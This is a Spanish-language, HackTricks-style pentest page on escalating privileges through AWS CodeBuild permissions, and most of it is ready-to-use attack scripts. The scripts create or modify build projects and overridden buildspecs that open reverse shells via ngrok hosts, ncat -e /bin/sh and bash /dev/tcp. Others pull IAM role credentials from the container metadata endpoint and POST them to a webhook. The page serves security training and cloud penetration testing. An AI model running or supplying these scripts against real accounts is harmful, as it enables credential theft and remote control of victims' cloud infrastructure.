12 KiB
AWS - Codebuild Privesc
{{#include ../../../banners/hacktricks-training.md}}
codebuild
Obtén más información en:
{{#ref}} ../aws-services/aws-codebuild-enum.md {{#endref}}
codebuild:StartBuild | codebuild:StartBuildBatch
Solo con uno de estos permisos es suficiente para activar una construcción con un nuevo buildspec y robar el token del rol iam asignado al proyecto:
{{#tabs }} {{#tab name="StartBuild" }}
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
{{#endtab }}
{{#tab name="StartBuildBatch" }}
cat > /tmp/buildspec.yml <<EOF
version: 0.2
batch:
fast-fail: false
build-list:
- identifier: build1
env:
variables:
BUILD_ID: build1
buildspec: |
version: 0.2
env:
shell: sh
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
ignore-failure: true
EOF
aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml
{{#endtab }} {{#endtabs }}
Nota: La diferencia entre estos dos comandos es que:
StartBuildactiva un trabajo de construcción único utilizando unbuildspec.ymlespecífico.StartBuildBatchte permite iniciar un lote de construcciones, con configuraciones más complejas (como ejecutar múltiples construcciones en paralelo).
Impacto Potencial: Privesc directo a los roles de AWS Codebuild adjuntos.
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Un atacante con los permisos iam:PassRole, codebuild:CreateProject, y codebuild:StartBuild o codebuild:StartBuildBatch podría escalar privilegios a cualquier rol IAM de codebuild creando uno en ejecución.
{{#tabs }} {{#tab name="Example1" }}
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
{{#endtab }}
{{#tab name="Example2" }}
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
echo 'version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml
# Upload the buildspec to the bucket and give access to everyone
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml
# Create a new CodeBuild project with the buildspec.yml file
aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60
# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project
{{#endtab }}
{{#tab name="Example3" }}
# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
{
"name": "user-project-1",
"source": {
"type": "NO_SOURCE",
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
"computeType": "BUILD_GENERAL1_SMALL"
},
"serviceRole": "ARN-OF-TARGET-ROLE"
}
# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json
# Start a build with the new project
aws codebuild start-build --project-name user-project-1
# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
{{#endtab }} {{#endtabs }}
Impacto Potencial: Privesc directo a cualquier rol de AWS Codebuild.
Warning
En un contenedor de Codebuild, el archivo
/codebuild/output/tmp/env.shcontiene todas las variables de entorno necesarias para acceder a las credenciales de metadatos.
Este archivo contiene la variable de entorno
AWS_CONTAINER_CREDENTIALS_RELATIVE_URIque contiene la ruta URL para acceder a las credenciales. Será algo como esto/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Agrega eso a la URL
http://169.254.170.2/y podrás volcar las credenciales del rol.
Además, también contiene la variable de entorno
ECS_CONTAINER_METADATA_URIque contiene la URL completa para obtener información de metadatos sobre el contenedor.
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Al igual que en la sección anterior, si en lugar de crear un proyecto de construcción puedes modificarlo, puedes indicar el Rol IAM y robar el token.
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Impacto Potencial: Privesc directo a cualquier rol de AWS Codebuild.
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Como en la sección anterior, pero sin el permiso iam:PassRole, puedes abusar de estos permisos para modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado.
{{#tabs }} {{#tab name="StartBuild" }}
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
{{#endtab }}
{{#tab name="StartBuildBatch" }}
REV_PATH="/tmp/codebuild_pwn.json"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"project_name\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
printf "$JSON" > $REV_PATH
# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }} {{#endtabs }}
Impacto Potencial: Privesc directo a los roles de AWS Codebuild adjuntos.
SSM
Teniendo suficientes permisos para iniciar una sesión de ssm, es posible entrar en un proyecto de Codebuild que se está construyendo.
El proyecto de codebuild necesitará tener un punto de interrupción:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
Y luego:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
Para más información consulta la documentación.
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
Un atacante capaz de iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo buildspec.yml en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild.
Nota: la escalación es relevante solo si el trabajador de CodeBuild tiene un rol diferente, esperemos que más privilegiado, que el del atacante.
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
Puedes usar algo como esto buildspec para obtener un reverse shell:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Impacto: Privesc directo al rol utilizado por el trabajador de AWS CodeBuild que generalmente tiene altos privilegios.
Warning
Tenga en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el
buildspec.ymldesde el directorio raíz, volver a comprimir y subir.
Más detalles se pueden encontrar aquí.
Impacto Potencial: Privesc directo a los roles de AWS Codebuild adjuntos.
{{#include ../../../banners/hacktricks-training.md}}